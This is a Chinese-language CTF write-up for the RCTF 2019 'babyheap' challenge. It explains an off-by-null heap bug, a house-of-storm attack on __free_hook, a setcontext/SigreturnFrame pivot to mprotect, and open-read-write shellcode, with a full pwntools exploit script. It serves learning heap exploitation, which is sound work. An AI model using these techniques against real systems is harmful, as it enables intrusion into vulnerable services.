題目分析
程序還有沙箱保護,把execve禁用了,只能orw了
在init中還把fastbin關了
在edit中有一個off-by-null溢出,以前這種情況都是用unlink進行攻擊,不過這題我們沒有地址所以無法使用
漏洞利用
這題一開始先利用house of storm漏洞分配到__free_hook
附近的內存
關於house of storm的利用方法請見這篇文章:
BUUCT-PWN 0ctf_2018_heapstorm2(house of storm)
因爲本題禁用了execve,所以我們就不考慮寫入system的地址了,本題採用的是mprotect+shellcode注入的做法,思路來源是星盟的WP(RCTF2019 pwn writeup 集合)
首先,我們把setcontent+53的地址寫入__free_hook
,並在其之後0x10字節內存中寫上兩遍__free_hook
+0x18的地址,最後把如下shellcode1寫入:
xor rdi,rdi
mov rsi,%d
mov edx,0x1000
mov eax,0
syscall
jmp rsi
setcontext的主要代碼如下:
<setcontext>: push rdi
<setcontext+1>: lea rsi,[rdi+0x128]
<setcontext+8>: xor edx,edx
<setcontext+10>: mov edi,0x2
<setcontext+15>: mov r10d,0x8
<setcontext+21>: mov eax,0xe
<setcontext+26>: syscall
<setcontext+28>: pop rdi
<setcontext+29>: cmp rax,0xfffffffffffff001
<setcontext+35>: jae 0x7ffff7a54bc0 <setcontext+128>
<setcontext+37>: mov rcx,QWORD PTR [rdi+0xe0]
<setcontext+44>: fldenv [rcx]
<setcontext+46>: ldmxcsr DWORD PTR [rdi+0x1c0]
<setcontext+53>: mov rsp,QWORD PTR [rdi+0xa0]
<setcontext+60>: mov rbx,QWORD PTR [rdi+0x80]
<setcontext+67>: mov rbp,QWORD PTR [rdi+0x78]
<setcontext+71>: mov r12,QWORD PTR [rdi+0x48]
<setcontext+75>: mov r13,QWORD PTR [rdi+0x50]
<setcontext+79>: mov r14,QWORD PTR [rdi+0x58]
<setcontext+83>: mov r15,QWORD PTR [rdi+0x60]
<setcontext+87>: mov rcx,QWORD PTR [rdi+0xa8]
<setcontext+94>: push rcx
<setcontext+95>: mov rsi,QWORD PTR [rdi+0x70]
<setcontext+99>: mov rdx,QWORD PTR [rdi+0x88]
<setcontext+106>: mov rcx,QWORD PTR [rdi+0x98]
<setcontext+113>: mov r8,QWORD PTR [rdi+0x28]
<setcontext+117>: mov r9,QWORD PTR [rdi+0x30]
<setcontext+121>: mov rdi,QWORD PTR [rdi+0x68]
<setcontext+125>: xor eax,eax
<setcontext+127>: ret
<setcontext+128>: mov rcx,QWORD PTR [rip+0x356951] # 0x7ffff7dd3e78
<setcontext+135>: neg eax
<setcontext+137>: mov DWORD PTR fs:[rcx],eax
<setcontext+140>: or rax,0xffffffffffffffff
<setcontext+144>: ret
這個利用方式有點類似SROP,setcontext函數負責對各個寄存器進行賦值,甚至可以控制rip,對寄存器進行賦值主要從+53開始,而我們利用pwntools的SigreturnFrame可以更方便地進行賦值,只要把該SigreturnFrame寫入一個chunk中,free它就能達到目的
我們這裏考慮使用mprotect先賦予一段內存寫的權限
frame = SigreturnFrame()
frame.rsp = free_hook+0x10
frame.rdi = new_addr
frame.rsi = 0x1000
frame.rdx = 7
frame.rip = libc.sym['mprotect']
當mprotect執行完時,rsp指向__free_hook
+0x10,其中的值爲__free_hook
+0x18,這樣我們就執行了第一段shellcode,這段shellcode的目的是往指定內存中讀入shellcode並跳過去執行
我們第二段shellcode如下:
mov rax, 0x67616c662f2e ;// ./flag
push rax
mov rdi, rsp ;// ./flag
mov rsi, 0 ;// O_RDONLY
xor rdx, rdx ;
mov rax, 2 ;// SYS_open
syscall
mov rdi, rax ;// fd
mov rsi,rsp ;
mov rdx, 1024 ;// nbytes
mov rax,0 ;// SYS_read
syscall
mov rdi, 1 ;// fd
mov rsi, rsp ;// buf
mov rdx, rax ;// count
mov rax, 1 ;// SYS_write
syscall
mov rdi, 0 ;// error_code
mov rax, 60
syscall
這段shellcode使用orw的方法讀取flag
Exp
from pwn import *
#r = remote("node3.buuoj.cn", 27089)
#r = process("./rctf_2019_babyheap")
context(log_level = 'debug', arch = 'amd64', os = 'linux')
DEBUG = 0
if DEBUG:
gdb.attach(r,
'''
b *$rebase(0xC2B)
x/10gx $rebase(0x202110)
c
''')
elf = ELF("./rctf_2019_babyheap")
libc = ELF('./libc/libc-2.23.so')
one_gadget_16 = [0x45216,0x4526a,0xf02a4,0xf1147]
menu = "Choice: \n"
def add(size):
r.recvuntil(menu)
r.sendline('1')
r.recvuntil("Size: ")
r.sendline(str(size))
def delete(index):
r.recvuntil(menu)
r.sendline('3')
r.recvuntil("Index: ")
r.sendline(str(index))
def show(index):
r.recvuntil(menu)
r.sendline('4')
r.recvuntil("Index: ")
r.sendline(str(index))
def edit(index, content):
r.recvuntil(menu)
r.sendline('2')
r.recvuntil("Index: ")
r.sendline(str(index))
r.recvuntil("Content: ")
r.send(content)
def pwn():
libc.address = 0
add(0x80)#0
add(0x68)#1
add(0xf0)#2
add(0x18)#3
delete(0)
payload = 'a'*0x60 + p64(0x100)
edit(1, payload)
delete(2)
add(0x80)#0
show(1)
malloc_hook = u64(r.recvuntil('\x7f').ljust(8, '\x00')) - 0x58 - 0x10
libc.address = malloc_hook - libc.sym['__malloc_hook']
system = libc.sym['system']
free_hook = libc.sym['__free_hook']
set_context = libc.symbols['setcontext']
success("libc_base:"+hex(libc.address))
add(0x160)#2
add(0x18)#4
add(0x508)#5
add(0x18)#6
add(0x18)#7
add(0x508)#8
add(0x18)#9
add(0x18)#10
edit(5, 'a'*0x4f0+p64(0x500))
delete(5)
edit(4, 'a'*0x18)
add(0x18)#5
add(0x4d8)#11
delete(5)
delete(6)
add(0x30)#5
add(0x4e8)#6
edit(8, 'a'*0x4f0+p64(0x500))
delete(8)
edit(7, 'a'*0x18)
add(0x18)#8
add(0x4d8)#12
delete(8)
delete(9)
add(0x40)#8
delete(6)
add(0x4e8)#6
delete(6)
#pause()
storage = free_hook
fake_chunk = storage - 0x20
payload = '\x00'*0x10 + p64(0) + p64(0x4f1) + p64(0) + p64(fake_chunk)
edit(11, payload)
payload = '\x00'*0x20 + p64(0) + p64(0x4e1) + p64(0) + p64(fake_chunk+8) +p64(0) + p64(fake_chunk-0x18-5)
edit(12, payload)
add(0x48)#6
sleep(0.5)
new_addr = free_hook &0xFFFFFFFFFFFFF000
shellcode1 = '''
xor rdi,rdi
mov rsi,%d
mov edx,0x1000
mov eax,0
syscall
jmp rsi
''' % new_addr
edit(6, 'a'*0x10+p64(set_context+53)+p64(free_hook+0x18)*2+asm(shellcode1))
frame = SigreturnFrame()
frame.rsp = free_hook+0x10
frame.rdi = new_addr
frame.rsi = 0x1000
frame.rdx = 7
frame.rip = libc.sym['mprotect']
edit(12, str(frame))
delete(12)
sleep(0.5)
shellcode2 = '''
mov rax, 0x67616c662f ;// /flag
push rax
mov rdi, rsp ;// /flag
mov rsi, 0 ;// O_RDONLY
xor rdx, rdx ;
mov rax, 2 ;// SYS_open
syscall
mov rdi, rax ;// fd
mov rsi,rsp ;
mov rdx, 1024 ;// nbytes
mov rax,0 ;// SYS_read
syscall
mov rdi, 1 ;// fd
mov rsi, rsp ;// buf
mov rdx, rax ;// count
mov rax, 1 ;// SYS_write
syscall
mov rdi, 0 ;// error_code
mov rax, 60
syscall
'''
r.sendline(asm(shellcode2))
r.interactive()
if __name__ == "__main__":
#pwn()
while True:
r = remote("node3.buuoj.cn", 25576)
try:
pwn()
except:
r.close()